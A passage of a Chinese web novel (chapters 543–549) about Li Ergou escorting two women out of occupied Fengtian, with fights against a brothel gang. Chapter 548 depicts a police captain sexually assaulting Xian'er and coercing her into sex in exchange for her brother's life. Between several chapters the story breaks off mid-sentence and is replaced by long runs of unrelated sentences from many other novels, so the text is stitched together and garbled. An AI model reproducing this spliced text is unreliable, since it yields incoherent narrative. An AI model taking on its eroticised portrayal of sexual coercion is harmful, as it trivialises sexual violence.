“二狗,我就知道你会来救我的。” 她伏在李二狗身上,委屈的直掉眼泪。 “都怨我,早上我就不应该答应让你来怡红院,好在一切都过去了,一会儿我们就离开这里,再也没有人敢欺负你了。” “二狗,你真的会带我去关内吗?” 李二狗知道关之玲想要的是自己对她的一个承诺,但这个承诺他不敢给任何人。 “小玲,有件事我必须要告诉你,其实我在关内有妻子。” 对此,关之玲并不觉得意外。 像他这样一个优秀的男人,身边不可能没有女人。 “二狗,我知道自己是一个什么样的女人,你放心,我不会缠着你的。” 李二狗运气好,他身边的女人虽多,但都是懂事的女人。 “小玲,你放心,等到了关内,我一定会给你安排一个好的去处。” 关之玲最想要的是李二狗这个人,如果得不到他的人,其他的东西对她来说又有什么意义呢? “我都听你的安排。” 李二狗带着她去了一个诊所,处理了一下身上的伤口,然后两人才回到旅馆。 鲜儿看到关之玲鼻青脸肿的样子,终于不再对她冷脸相向。 “她……她怎么了?” “先别说了,赶紧收拾东西,我们马上要离开奉天。” “离开?怎么离开?日本人正在到处抓我们。” “我已经安排好了,有人会送我们出城,赶紧收拾东西吧。” 收拾好行李之后,三个人便离开了旅馆。 来到提前和金凤仙约好的地方,果然有一个春来茶馆,门前停着一辆马车。 “你们在这里等我一下。” 李二狗来到马车前,马夫问道:“您是李先生吗?” “我是。” “我们家太太正在茶馆里面等你。” 李二狗直接进了茶馆。 茶馆老板见李二狗进来,急忙迎上前问道:“您是李先生吗?” “我是。” “王太太正在二号包厢等您,先生里面请。” 茶馆老板把李二狗带到二号包厢门前,轻轻地敲了敲房门。 第543章 杀父仇人 李二狗驾着马车在离奉天城两公里远的地方停了下来。 他掀开门帘,说道:“就到这里吧。” 三个人分别从马车里钻了出来。 金凤仙一直很纳闷,为何这两个女人脸上都是伤痕累累,难道都是被日本人打的吗? 虽然她很好奇,但最终还是忍住没问,因为这些都不是她关心的,她眼里只有李二狗。 金凤仙看李二狗的眼神浓郁的就像山里的雾气,李二狗真害怕她会突然扑到自己怀里。 “王太太,谢谢你,就送到这里吧。” 想到即将分离,金凤仙真想上前抱住李二狗,和他就地云雨一番。 “李先生不必客气,我们还会见面的,对吗?” “是啊,有缘自会相见,”李二狗碍于鲜儿她们在场,担心金凤仙再说出什么出格的话,急忙问道:“王太太,待会儿你怎么回去?” “我的车夫一会儿就到,待会儿我从另一个城门进城。” “王太太,那我们就告辞了,后会有期!” 金凤仙尽管有万般的不舍,此刻也只好微笑着和他说再见。 “李先生,后会有期。” 李二狗带着金凤仙和鲜儿奔着清风寨的方向走去。 鲜儿发现不对劲,停下脚步问道:“哥,咱们这是要去清风寨吗?” “对啊,我把你送到清风寨,之后我就得回关内了。” “我不去清风寨!我要跟你去关内。” 关之玲听着他们的对话,吓了一跳,清风寨不是土匪窝吗?他们怎么要去清风寨? “二狗,我们为什么要去清风寨?不是去关内的吗?” 两个女人都停下了脚步,李二狗的头都大了。 他不容置喙地命令道:“我们必须先去清风寨。” “我不去!” 鲜儿不想离开李二狗,她知道一到清风寨,自己就得和他分别。 “我也不去!” 关之玲的父母就是被土匪杀害的,她平生最痛恨的就是土匪。 李二狗决定采取各个击破的办法对付这两个女人。 他把关之玲拉到一边,低声说道:“你什么都不知道,跟着瞎胡闹什么?你知道她是谁吗?” 关之玲挺着大胸脯,一脸茫然。 “她不是你妹子吗?” 李二狗哭笑不得。 “我叫她妹子,并不意味着她就是我亲妹子。”李二狗瞥了一眼鲜儿,“她是清风寨大当家镇东北的亲妹子,我要把她送回清风寨,之后咱们再回关内。” “你说谁?” 关之玲睁大了眼睛,她简直不敢相信自己的耳朵。 “镇东北,清风寨大当家。” 关之玲的眼泪“唰”地就流了下来了。 “镇东北!”她咬牙切齿道,“你说的镇东北可是眉心有一颗黑痣的人?” 镇东北确实在眉心有一颗黑痣,这是他最显著的标志。 “是啊,你认识他?” “他化成灰我也认识他!我一定要杀了他!” 关之玲的反应把李二狗吓了一跳。 “你怎么和镇东北认识?你们是什么关系?” “何止认识!当年就是他抢了我家,导致我爹一病不起,不久就撒手离开了人世,我才被迫沦落风尘,我和他有不共戴天之仇!” 李二狗从关之玲的眼睛里看到了仇恨,这种仇恨不是他几句话就能轻易化解的。 “小玲,你听我说,镇东北现在占据清风寨,手下有上百号兄弟,你可千万不要轻举妄动啊!” “杀父之仇岂有不报之理?”关之玲突然拉住李二狗,乞求道:“二狗,你帮我报仇好不好?我做牛做马也会报答你。” 凭李二狗的本事,想杀掉镇东北并不是什么难事。 但他和镇东北是结拜兄弟,鲜儿又是镇东北的亲妹子,他怎么能对镇东北下手? “小玲,镇东北这个人我了解一些,这里面是不是有什么误会?” 关之玲闻言,全身颤抖。 “你不信我?” 李二狗急忙解释道:“我不是不信你,我的意思是这里面会不会有什么误会?你亲眼见到镇东北抢了你家吗?” “这还能有假?要不是我爹把我提前藏在地窖里,我根本就没有命活到现在!” 即使这件事真是镇东北做的,李二狗还是下不了手。 做土匪的打家劫舍是常有的事,李二狗并不感到意外。 “小玲,此事还是从长计议吧,现在还不是报仇的时候,我们先把鲜儿送回清风寨,之后我带你去关内。” 关之玲突然问道:“你说鲜儿是他亲妹妹?” 她看向鲜儿的眼神里充满了杀气,李二狗吓了一跳。 他挡在关之玲身前,说道:“小玲,你和镇东北有恩怨,应该找他报仇,祸不及家人,鲜儿她是无辜的。” 关之玲泪眼婆娑地看着李二狗。 “如果我现在去找她报仇,你会怎么样?” 这个问题李二狗无法回答,关之玲和鲜儿两个女人,李二狗谁都不想伤害,也不想让她们受到伤害。 “小玲,如果你要伤害鲜儿,我肯定不会同意,就像她要伤害你,我也不会同意一样。她是她,她哥是她哥,你不应该这样对她!” “那我应该怎么对她?”关之玲失声尖叫道,“你知道我被那个人害得有多苦吗?我被千人骑万人辱,你有想过我心中的痛楚吗?你不是我,你永远理解不了我心中的恨!” 关之玲说完转头就跑。 “小玲,你站住!” 李二狗刚要追上去,鲜儿在身后“哎吆”一声,坐到地上。 他跑到鲜儿跟前,问道:“你怎么了?” 鲜儿一把拉住李二狗,问道:“哥,你要去哪儿?” 李二狗这才意识到鲜儿是故意的。 “鲜儿,你在这里等我,我马上就回来!” 鲜儿紧紧地拉住李二狗不松手。 “她想走就让她走嘛,你去追她干什么?哥,强扭的瓜不甜!” “你不知道发生了什么,她这样离开会出事的!你快松手,我去和她说清楚。” “她一个大活人能有什么事?哥,我们还是快点赶路吧。” 李二狗看着关之玲已经跑出几百米,再不追出去就赶不上了。 他掰开鲜儿的手,跑了出去。 他边跑边嘱咐道:“你在这里等我,别乱走!” 第544章 追杀 “哥,你别走,我一个人真的好害怕啊!” 尽管鲜儿在身后喊得又大声又可怜,可李二狗还是头也不回地去追关之玲了。 他分得清轻重。 关之玲虽然是个女人,但跑起来还真不慢,李二狗追了好一会儿才追上她。 他从身后一把拉住她的胳膊。 “小玲,你别冲动,听我说。” 关之玲双手捂着耳朵,不停地摇头。 “我不听,我不听,你既然不愿意替我报仇,那还是放我走吧,我不想让你为难。” “你要去哪?你能去哪?” 关之玲歇斯底里地嘶吼道:“我去哪都不会跟你去清风寨!他是我的杀父仇人啊!” 李二狗心想,关之玲还没有失去理智,她知道凭自己的本事根本杀不了镇东北,所以她不愿去清风寨面对仇人。 “你不愿意去清风寨那也不用走啊,你难道还想回到怡红院那种地方吗?” 一句话令关之玲沉默了。 她刚才一气之下只想着离开,根本没有想过自己要去哪。 自从她和李二狗有了肌肤之亲之后,她再也接受不了别的男人碰自己。 “二狗,你不是说要带我去关内吗?咱们现在就走吧,别去清风寨了好不好?” “小玲,你听我说,鲜儿现在无家可归,在某种意义上来说,是我害了她,所以我必须把她送回清风寨,亲手把她交给她哥哥我才能走得安心。” 关之玲沉默了片刻,突然说道:“好,我跟你一起去清风寨。” 她的突然转变还是令李二狗心生疑窦。 “小玲,你去了清风寨可千万别做傻事啊。” 关之玲微微一笑,说道:“二狗,你放心吧,我心里有数。” 李二狗岂能轻易相信关之玲的话,但想到去到清风寨马上就会离开,又有自己在旁边看着她,想来她也做不了什么冲动的事情。 “好,那我们走吧。” 两人刚要往回走,突然,不远处传来一阵马蹄声。 抬眼望去,有一辆马车正向他们这个方向急速奔来。 关之玲看了一眼,不禁大惊失色,她失声道:“不好,是怡红院的马车,应该是老八他们来报复。” 李二狗刚才出城的时候担心城门口的搜查,身上并没有带枪。 “快走!” 李二狗拉上关之玲就向鲜儿方向跑去。 跑了没有两百米就被马车追上了。 马车停在他们身前,赶车的正是老八。 “看你们这回往哪里跑?!” 老八手里握着一把大砍刀,从马车上跳下来,车篷里又鱼贯而出七个人,他们个个目露凶光、手握凶器。 李二狗心里暗自松了一口气,好在他们身上也都没有带枪,不然今天就真得折在这里了。 想来也是日本人盘查的厉害,他们出城的时候不敢带枪。 关之玲见状,横身挡在李二狗身前,乞求道:“八哥,我错了,我跟你回去,你放他走好不好?” 关之玲的行为令老八更加气愤不已。 “贱人!你们两人果然有奸情,你竟为了这么一个小白脸不惜与我撕破脸,今天我一定要宰了他。” “八哥,求求你,放了他,我跟你走!” 老八狞笑着,他最喜欢这种被人乞求的感觉。 “想让我放了他也容易,你现在就脱光衣服爬到我跟前,只要把爷伺候舒服了,爷立马放他走!” 老八说着伸手揉了揉自己的裤裆,那令人作呕的样子,关之玲能忍,李二狗都忍不了。 “你……” 关之玲被羞辱的恨不得立马冲上去撕烂老八的嘴。 李二狗此时显得异常冷静,他不会因为老八几句话就失去理智。 他知道此时无论自己说什么都无济于事,老八的目的很明确,那就是要他的性命。 要想自己活命,就只能先要了对方的命。 他瞅了瞅周围,根本没有能打架的家伙,只好赤手空拳来应战。 他握紧拳头站到关之玲身前,指关节捏得“啪啪”作响,面对不是你死就是我活的局面,李二狗必须全力以赴。 对面,老八带着七个弟兄呈扇形散开,每个人手里都抄着家伙。 有锈迹斑斑的钢管,有豁了口的砍刀,还有人拎着根磨尖了的铁钎,刃口在阳光下闪着凶光。 “哥。” 鲜儿突然悄无声息地来到李二狗身边,老二狗心中只能叫苦。 “鲜儿,谁让你过来的?难道你看不见危险吗?” 鲜儿毫不畏惧地说道:“就是因为有危险,我才要和你在一起,我不怕!” 你不怕,可李二狗怕! 保护关之玲已经非常吃力,没想到鲜儿也跟着掺和进来。 他无奈地说道:“快站到我身后去!” 老八见到鲜儿,一个比关之玲清纯百倍的女子,顿时喜上眉梢。 他淫邪地说道:“兄弟们,今天咱们有福了,这么嫩的一个小妞,待会儿每人都有份,哈哈。” “哈哈哈哈……” 一群人肆无忌惮地笑着,仿佛鲜儿已经是他们口中的鲜嫩羊肉。 “我饶你性命,你不知感恩,竟还敢来报复,我这次岂能再饶你!” “你真他娘的当自己是三头六臂吗?”老八啐了口唾沫,黄牙上还沾着几根烟丝,“上次在怡红院因为老子大意才让你占了便宜,今天老子一定让你横尸当场!明年的今天就是你的忌日!” “八哥说得对,今天一定要宰了这个兔崽子!” 他身后的一个瘦猴举着钢管晃了晃,那钢管上还留着上次打断一个妓女腿时崩出的凹痕。 李二狗没说话,只是往身后瞥了一眼。 鲜儿和关之玲站在自己身后不远的地方,在此生死存亡之际,两个人也暂时放下了心中的芥蒂。 关之玲攥着鲜儿的手,虽然她们的身体在忍不住发抖,但眼里却没有丝毫露怯。 尤其是关之玲,她见过太多的刀光剑影,知道这时候慌乱反而会给李二狗添乱。 鲜儿的伤还没好利索,脚踝上的绷带在粗布裤管下若隐隐现,但她却挺直了腰板,像一株遭过霜打的野菊,看似柔弱,脚下的根却扎得结实。 第545章 鲜儿被挟持 老八只想快点把李二狗打倒,然后把关之玲和鲜儿全部拉上马车,他要好好享受一下做皇帝的感觉。 “跟老子上!” 老八大吼一声,率先挥舞着大砍刀向李二狗砍杀过去。 刀锋带着风声直劈向李二狗的肩膀,伴随着关之玲和鲜儿的失声尖叫,李二狗不慌不忙,轻巧地侧身避开,同时抬脚狠狠地踹在老八的膝盖上。 老八三百斤的身子晃了晃,他骂骂咧咧地回手又是一刀,却被李二狗趁 见腾启明如此,顾西西心里有些感动,笑着点了点头离开了办公室。 苏瑕的脚步在国际服装设计学院校门前顿了顿,她抬起头仰望着这个门槛极高的世界一流服装学院,眼底在不经意间流露出了羡慕的神色。 吃完早餐,我的视线落在季流年身上的衣服上,昨晚我给他擦完身后就没有再给他扣扣子,之前我又与他一番暧昧纠缠,此时他的衣服就更皱了,像是被揉乱了再展开的报纸。 两个侍卫原本见这俊秀的陌生男子,还在回想着这是什么人,怎么他们好像都没有见过,便见男子温润的嗓音传来,而听到那名字的时候,周围听到的侍卫也不由纷纷侧目,眼中多了些猜疑和惊讶。 从上往下扔,火把掉下来需要一定的时间,到那时候我们都得被虫子给围攻上了,可要是贴着地面横扫过去,我们就有足够的时间,顺着火把逃跑。 “谢谢,有香烟吗”任务完成应该说非常的圆满,墨阳却突然感到一阵空虚,习忙喷性的摸了摸口袋,最后才想起身上早已没有香烟了笑着向那指挥官问道。 “哪有什么埋伏,难道你不知道,无论是沉船还是古墓里,都有一些不能碰的东西,我想这间船舱,应该就是。”焦八很是时候的插了一句话。 “我有没有钱还用得着你管,你就乖乖的等死吧,看我怎么收拾你!”秦璐忿忿地说。 “炎彬,火系八级灵控”炎彬的话一出顿时爆笑当场,如果炎彬是一个控王或者是控尊大家还觉得这场战斗有可能继续下去,但是炎彬居然是一个灵控这样的实力又怎么能够战胜两位控王级别的高手呢? 本来我昨晚在医院跟路旭东说那些话的时候,还真是伤心地觉得我跟他实在不适合继续在一起,结果回来一通折腾之后,眼瞧着他看我难受那个心疼得恨不能以身相替的样子,我又后悔死了自己说那么多伤他的话。 徐明辉耷拉着头不住地冲我点着头,此时他一点往日的精神派头都没有了。 悲伤忽然就这样袭来,下手如此狠毒,宛如扫过沙漠的尘暴,爆裂喷击的火山,‘波’涛汹涌的海啸,我的脑海像是被什么占据了一样,明明腾不出任何空间,却显得空空‘荡’‘荡’。 巨龙一族虽已很久不参与大陆事务,可大陆上还是有不少为巨龙一族做耳目的机构,象斗剑台这种著名的比斗之地的情况还是很了解的。 九龙也不含糊。有叼钟身。有叼钟柄。将一个硕大的先天至宝混沌钟。就这么叼着。直向那玄木岛上方飞来。 孔宣看了一眼水神共工,水神共工亦是看了一眼孔宣,这是这两位最漂亮男子的第一次见面。 修罗也是在十强准圣榜上列第五位,大修罗万象几乎实力,其实也不比当年的暗星云弱上多少。 鲲鹏向来智计冠绝洪荒。这一刻却也是感觉没底起来。总觉得什么地方隐隐不妥。但又说不上来。因此只在那沉吟不语。 第546章 为爱挡刀 鲜儿看着趴在李二狗身上的关之玲,看着那些落在她背上的钢管和拳脚,眼里的恐惧慢慢被一种决绝取代。 她的目光落在刀疤脸那只勒着她脖子的手上——那只手因为用力,虎口处的皮肤绷得很紧,露出皮肤底下青紫色的血管。 说时迟那时快,鲜儿猛地低下头,用尽全身力气,狠狠地咬在刀疤脸的手腕上! 她像是要把这些天受的委屈、恐惧、愤怒全都发泄出来,牙齿咬得咯咯作响,尝到血腥味也不 不过就在这种情况下,劳伦斯都没有任何的惧怕,满脸平淡的坐在地面上冥想。 说的不错,就算杨一凡是炼气期七层的修士,都可以轻微的感觉到冰冷寒气入体,更别说普通的强身期战士了,能够预防寒气入体都非常困难,更别说手持武器给人战斗了。 在右下方的石壁上有一个凸出来的地方,隔的较远,百里怒云也看不清楚,只是她猜那里便可能是时兰涛所说的山洞了。百里怒云来回扫了几眼也不知该从哪下脚过去,而身边的时兰涛却已经站了起来。 行泓深深地看了一眼悬浮在高空的丁鹏,旋即无视四周一双双复杂的目光,大步向着大雄宝殿走去。 声音冷淡透露着疲惫之意,李靖见此,甩动袖口,躬身施礼,身着躬成了九十度,十分虔诚。想想李靖身份二品国公,却要对着一个三品诰命夫人行如此大礼,他的内心已经收到了莫大的屈辱。 登时,自丹田涌出的强劲的真气便沿着双臂的经脉贯通了整个傲雪剑剑身。 在那地面之下的三尺的地方,楚南用战神之力,挖出来一个包裹得很好的盒子。 八尾优希深深吸了一口气,走上前。突然感觉角落中有一道十分熟悉的目光,放眼望去,四目相对。她那颗不停乱跳的心渐渐平静,有他足矣。 说道国政,杨院长就有一言难尽之势,他甚至提到了大明国的朝廷架构,认为只有像他们那样。 幼年某些不堪回首的经历,让林坤对付起心怀不轨之人时,总是能得心应手,把对方心思猜的一清二楚。 冷慕言鲜少会出现在这种场合,与各族的关系亦只是泛泛之交,但这丝毫不影响皇上对他的喜爱,此时他能前来,令众人很是意外。 “原来是这样,我说天下哪有那么好的事情,就算有也在电影里面,不过为什么你要跟我们展示这个”北辰不解的问道。 江湖高手深深知道那些可怕的武器的可怕,因此,他们生怕国家高层领导心情不好的时候,突然拿江湖开刀。 一旁众人都是看得出来真假,都是郁闷了起来,特别是唐天,望着云月师太的眼神越发的灼热,让得龙天翔更郁闷了,这唐天不会是和师太有一腿吧? 对甘宁的战事,几人现在已经没i有心思过问了,都苦笑着摇摇头。大帐里面一下子就安静了下来。 半生怨偶,她还是放不下齐帝。想着或许他腿好了,能过得舒心些就是了。 “天下无剑。”随即,紫丰将手中紫剑一下松开,顿时紫剑便化成烟尘消失在两人眼前,见状,龙天翔一愣,身形急速后退数米,道:“心中有剑。”说着,便将手中紫剑化去,闭上眼睛,感受着四周的气息。 “我们也别干看着,帮忙!”冷冽一声令下,然后带头冲了过去。 有了慈航普度的帮助,再加上白辰不断使用天降甘霖和npc道士们的治疗之后,目前看来,npc战士们倒是没有生命危险。 第547章 一片真心喂了狗 陆沉听到计都包含怨气的话语后,只是苦笑着摇了摇头不发一言,其实他心里也很好奇,因为他虽是九名首领之一,却和计都一样,从来都没有见过羲和与望舒的真面目。 山间的天色比实际实际黑得更早,六点就全黑了,现在已经四点了,提前一点点,也说得过去。 “三天前我定了一桌酒饭,不过后来退了,今天要不去那里?可以的话,我现在打电话订个包厢。”白山掏出手机朝着李朝挥了一下,征求他的意见。 原来昨天晚上赵雷在庄内呆的无聊,又怕九曜趁夜来偷袭,便独自去外面喝花酒去了。 这下子轮到徐辰哑口无言了,沙场杀敌他无所畏惧,可要是出谋划策,他是一点本事也没有。 深吸了一口气,凌羽自己也明白,现在的他想要对付楚铭的话肯定要付出一些代价了。 他的梦想是成为职业骑师,可惜理想很丰满,现实很骨感。毕竟赛马运动是个超级烧钱的项目,他根本负担不起。不过幸亏马术运动在中国也开始慢慢发展起来,凭着他的马术,做个练马师倒也不错。 只是这句话,让整个会场冷到的极致,所有人都像看怪物一般看着陆云。 但是谁让他长得帅呢?一通穷追猛打后,还真让他把布莱尼给追上了。然后费德林忙不迭的离婚再结婚。 “车子不错。帕吉,谢谢了。”萧鹏接过帕吉欧扔过来的车钥匙。 随着李无敌的话音落下,一道道恐怖的天雷瞬间落下,狠狠地落在了李无敌的身上。 迪乌夫就喜欢这样,之前他半天拿不到球,让他有力都使不出来,现在不一样了,五分钟他就获得了三次射门的机会,虽然只有一次射在门框以内,可他毕竟有了射门。 冰龙剧烈的咆哮起来,只见头顶山的那根角上突然出现了少许裂纹,轰一声,竟是碎裂开来。 “老夫知道你擅长谈判之事,百济与新罗之事,就交予你全权处置,莫要亏待了这位新罗使节,明白吗?”李叔叔朝我威严地道,不过,闪烁的目光之中溢露出了这老流氓得意的心情。 她是人事部管事,也算有一定权力。平时,确实有不少人需要巴结她。 于是,短短几天时间,各世家将汪胡两家的地盘迅蚕食,而汪胡两家内部也经由一系列的权力斗争,产生了新的家主,并且主动请求加入武极宗。 四顾剑斩一树枝,拈一树叶。便逼退了人世间最顶尖地两位九品强者,大宗师的境界。果然已经超出凡俗太多。 当然,景言即便炼制出神辉丹也不会拿出来卖,要用来提升自己的神魂。景言的神魂本就很强,若能继续提升,那足以令自身战斗力再次提升一大截。 庄墨韩的骨子与道家、墨家、法家相隔甚远,与儒家到是有几分近了。 安柯咽了口口水。他从杨攀眼中看到了杀气,那决不是开玩笑的的表情。他在心中为科大附中的门将祈祷。 对于网上那些人的猜测,聂唯看得也有意思,用来下饭到是不错。 神格之树那语气陡然一变,居然变得极为阿谀奉承,居然向着面前的武牧荣求饶起来。 “上仙?!”游到一般,碰到金甲夜叉带队巡逻,看到他马上过来打招呼。 莫说他不过一介死忠武士,就算是府内多年的心腹要人,只要犯了这位城主大人的忌讳,或是被其有所疑心,下场都是无比的凄惨。 苏墨谦的语气又急又躁,可见瑞士银行里他需要的根本就不是钱,但是那又是什么呢?放我和张优泽走?张优泽自始至终都没有说一句话,他真的,会放我们走? 可是,在这种情况下,就算明知道这个连续任务可能有坑等着他们,他也只得闭着眼睛往下跳。 “鼠队长,你是怎么做到将妖气完全收敛,让人看不出来的?”来到接风宴,狐大娘就紧挨着贾正金坐下,不断给他敬酒夹菜,在耳边轻声细语。 唐植桐从押运科出来,并没有立即回家,而是去了国棉三厂找赵科长。 “这是常家人的事,他们既然已经接受了这个结果,你又何必再生事端。”说完这句话,聂唯也不再理会曹芹,直接带着穆冰冰上了胡太微的车。 虽然不知怎么回事,但肯定不能当着七木镇百姓的面让事情继续发展。 易筋经、煅骨经、洗髓经、混元劲、神行功,大枪、刀法,这几门功夫的特点非常明显,他不打算传授出去,天下会八极拳的武者有很多,谁知道是他传授出去的? 另一名保安招呼着,朝苏藏锋走来,指了指保卫科的方向,示意苏藏锋往前走。 “王教练,你们恒宇本次获胜的原因是?”一个年轻男记者问道。 就算他来个七擒七纵,许褚归降他的概率,也还是无限接近于零。 一边用武力逼迫剑鱼,一边用精神力震慑对方,十几分钟后,剑鱼不再反抗。 “那就把他们带上吧,到时候让人把他们送回基地。”李云峰说道。 “不用找了。”随手拿了五十给对方,李云峰大步流星的走向大门。 他死的早,没有参与后续的大战,但无相界曾经的玄幽殿关着无数还不够资格被镇托天庙的魔物,那些家伙,有一半还是跟着佐蒙人到这方宇宙的。 有些事情不能让她知道的,以她的性格一定会追查到底的,到时候受伤的只会是她。 第548章 你就从了我吧 李二狗心想,鲜儿是从大牢里逃出来的,虽说是日本人的大牢,但这些警察都是日本人的狗腿子,如果鲜儿被抓进警察局大牢,很可能会暴露自己的身份。 李二狗用眼睛余光观察了一下,一共有七名警察,远处还不知道有没有潜伏的,而且他们手里都有枪,如此近的距离,他想反抗的话,绝无胜算,还很可能会连累鲜儿。 “这件事和我妹妹无关,她一个弱女子怎么能杀得了这些壮汉?你放她走,我跟你们走!” 警察队长拿出手电,照了照李二狗,又照了照鲜儿。 当他照到鲜儿的时候,他明显停留了片刻。 “好,那就把你带走!” 鲜儿一把拉住李二狗的胳膊,说道:“哥,我要和你一起去。” 李二狗安慰道:“你放心,哥没事的,哥跟他们去去就回,他们刚才不是说了嘛?不会冤枉一个好人。你快回家,告诉咱娘,别让她着急。” 李二狗说着向鲜儿递了个眼色,鲜儿好像明白了什么,便不再言语。 警察队长淫邪地偷看了一眼鲜儿,对那些警察说道:“你们押着他先回局里,我在这里再检查一下这些人的尸首。” 李二狗没有多想,两个警察上前给李二狗戴上手铐,押着他向奉天城的方向走去。 “哥!” “听话,你快回家!” 等着他们走远之后,警察队长突然从身后抱住了鲜儿。 鲜儿惊叫道:“你要干什么?” “干什么?待会儿你就知道了!” 警察队长把鲜儿按倒在地,伸手就去撕扯她身上的扣子。 鲜儿拼命挣扎着。 “放开我,放开我……” 鲜儿的挣扎更加激起了警察队长的性致。 “爷就喜欢你这样的小辣椒,哈哈……” 鲜儿一个弱女子,面对警察队长这样的壮汉,根本不是他的对手。 很快,她的上衣就被撕扯开了,露出了里面鲜红鲜红的红肚兜。 警察队长一把扯下来,放在鼻下闻了闻,看着她层峦叠嶂的双峰,他扔掉红肚兜,嘴里轻哼一声,就拱了上去。 “放开我,放开我!” 鲜儿拼命挣扎着。 “啊!” 警察队长只觉得脸上火辣辣地疼,他一摸脸,摸到一把湿热的鲜血。 他的脸被鲜儿挠破了。 “啪!啪!” 警察队长甩手给了鲜儿两个大嘴巴子,打的她两眼直冒金光,浑身像散了架一般再也挣扎不得。 “妈了个巴子!敢打老子?信不信老子捏死你就像捏死一只臭虫?” 说着,他再次趴到鲜儿的身上,又是一顿乱摸。 “啊!” 警察队长再次发出一声惨叫,鲜儿不知道什么时候从地上摸到一把匕首,划破了他的胳膊。 “你他妈的找死……” 警察队长说着就要掏枪,鲜儿一下把匕首架在自己的脖子上。 她大声威胁道:“你别过来,你再过来我就立刻死在你面前。” 眼看煮熟的鸭子要飞,警察队长心有不甘。 他立马换了一副嘴脸。 “姑娘,你别激动,你难道不想救你哥哥吗?” 鲜儿怔住了,李二狗刚被他们抓走,他的命可都捏在这个警察队长手里。 看鲜儿不说话,警察队长以为她怕了,继续循循善诱道:“只要你从了我,我可以保证你哥的安全,怎么样?这个交易公平吧?” 鲜儿边哭边辩解道:“我哥他没有杀人!他是冤枉的!” “哈哈哈,”警察队长忍不住放声大笑,“他杀没杀人是你说了算吗?得由我说了算。” 鲜儿天真地质问道:“你们是警察啊,你们怎么能这样冤枉好人呢?我要去告你们。” “你去告我们?哈哈哈,你想笑死我吗?你要去哪告我们?奉天是我们的天下,凡事由我们说了算。再说,你现在还有命去告吗?” 鲜儿彻底崩溃了。 生在这样的一个乱世,人命如蝼蚁,确实没有说理的地方! 警察队长见自己的阴谋即将得逞,继续诱惑道:“只要你现在让我满意,不仅你哥哥可以安然无恙地回家,你也可以好好活着。” “我不说,你不说,谁又知道今晚发生了什么呢?” “你放心,爷我最会疼女人了,保证让你来一次还想来第二次,哈哈。” 警察队长说着已经把自己的裤腰带解了下来。 “我的心肝小宝贝,你就从了我吧。” “你别过来!”鲜儿这才回过神来,“你再往前一步,我立刻死在你面前。” “你真的不在乎你哥哥的性命?他刚才可是为了你独自承担起了所有的罪责,我说姑娘,做人可不能这么没良心啊,难道你就忍心眼睁睁地看着你哥哥去死? 你这样做实在是太自私了!你还有良心吗?你下半辈子能活得安生吗?” “他是死还是活,完全取决于你,我给你一分钟的时间考虑,你要是不答应,我也不再勉强你,你就回家等着给你哥收尸吧。” “不对!像你哥哥杀了这么多人,收尸是不可能了,尸体得剁碎了喂狗!” 鲜儿的泪水顺着脸颊流到她的脖子上,脖子那里有她刚刚划破的伤口,可她丝毫觉不到疼痛。 关之玲刚刚为了救李二狗,能用自己的瘦弱之躯为他挡刀,并为此付出了生命的代价。 可现在自己却为了所谓的清白,选择眼睁睁地看着李二狗去死。 做人的差距怎么这么大呢? 她不能这样做! 她绝不能眼睁睁地看着李二狗去死! “好吧,你既然不答应,那我就走了,你就等着你哥的尸体喂狗吧,肯定连骨头渣都不剩。” 警察队长作势要走。 “等一下!” 听到鲜儿的话,警察队长喜出望外,淫荡地问道:“你答应了?” 鲜儿并没有放下手中的匕首,此时她的心痛极了。 “你说话算数吗?我答应你,你真会把我哥哥放了吗?” “当然,当然,只要你从了我,我回去就把你哥放了。” “当啷”一声,鲜儿手中的匕首掉在了地上,她屈辱地闭上了眼睛。 警察队长猛地扑了上去。 第549章 执拗的鲜儿 得知几人已经前往暗黑界,此时修懊恼的坐在大殿外,也没有其他表示,便离开了。 一传十,十传百,百传千,口口相传。城中也开始流传了一个“一拳难撼一指”的故事,苏家神秘少年的名头一时间风光无两。 这里异兽级别不高,黑熊似乎并不害怕,想跟着一起往里走。但是又担心真的战斗起来误伤了坐骑,到时候还要走回去。于是还是找了个地方让黑熊等。 重色轻友,真的是太重色轻友了,也不在心里面想想,如果不是韩依依的话,王静会认识霍云烨吗?现在竟然为了霍云烨都这么威胁她了。 不错,周恒心心念着要报仇,报父母之仇,他的报仇之心,没有人会怀疑。 擒拿那阴灵的金光环,瞬间来到阴灵的身上,金光泛亮,光环收缩。 假柯尔特被这一棍砸得侧飞了出去,重重地砸在了远处的石阶之上。扬尘一起,“咔嚓”一声,那高大的身躯顿时将那厚实的白石砸出了一个巨大的坑洞。 还没等他回答,修就回来了。递给古德白一大袋子金币,粗略一看,有上千个。 要不是老大有吩咐的话,谁都不愿意在折腾了一天之后,晚上还要在这里看守大门。 但是,他可以给花想容其他的建议,比如,本命塔曾经也爆裂过。 而现在,郭青也是来到了鹏魔王和蛟魔王的中间,传音了解了这两人的身份。 “主人,这是那些人使用的武器,我发现,这些武器内均有灵性,便收起来了……”林天一挥手,在林云面前放出五件武器,说道。 “好。”龙渊接过碗,咕嘟几声将水喝了个干净。之后便大步流星地走出山洞。 赵瑚儿靠在树旁,想着刚才发生的事情,越加的害羞,不过那个不算高大的身影却深深的烙在了她的心底,触动了心底的那一丝情愫。 对方能够全身而退吗?还是说对方知道必死无疑,所以才肆无忌惮的出手吗? 血煞榜上的强者见莫川吃瘪,心中都窝火,可是那是叶狂,他们敢怒不敢言。 李毕往下一蹦,嘿嘿笑道“我这德行天生的没法改了,你们俩够滋润的混到马场来了,不行给我也弄进来舒服两天”。 在叶狂的吩咐下,苏菲跟轻柔开始倒酒,当着众多修士的面伺候着叶狂和东皇。 看来自己是输定了,不过林轩也没办法,谁让李顾俊挑的运动是自己最不擅长的台球。 到是洪锦宝因为见林轩吃的香不忍心打扰,但又心里憋不住对林轩接下来要和他说的事好奇,所以根本没动几口。 瑶里木兮一听和林漠溪开玩笑地说着,王俊杰却神情严肃地看向唐志航。 他活动了一下身躯,体内传来龙之吟,虎之啸的沉闷之音,体内酒精全部挥洒完毕。 考核中,最吸引眼球的便是一个估摸足足有三百斤的胖子,表演的节目只有一个字,吃。 吴萱犹豫着看了我一眼,最终还是听了王俊杰的话,两人一起离开了我家。 陈天、白眉鹰王还有青翼蝠王三人降落,脸色阴沉,尤其是盯着黑衣人,脸上满是凝重。 一夜过后,一行五人继续赶路,楚枫在前面驾车,朝着天水城外的荒漠前进。 “剑诀——多情自古空余恨,此恨绵绵无绝期……”杨边一剑斩出,轻易就把诗琴的另一个流星锤的铁链斩断。 不是吧,您想要去‘玩’这个能量罩,但是又怕惹主人不高兴,所以就让他来当挡箭牌?? 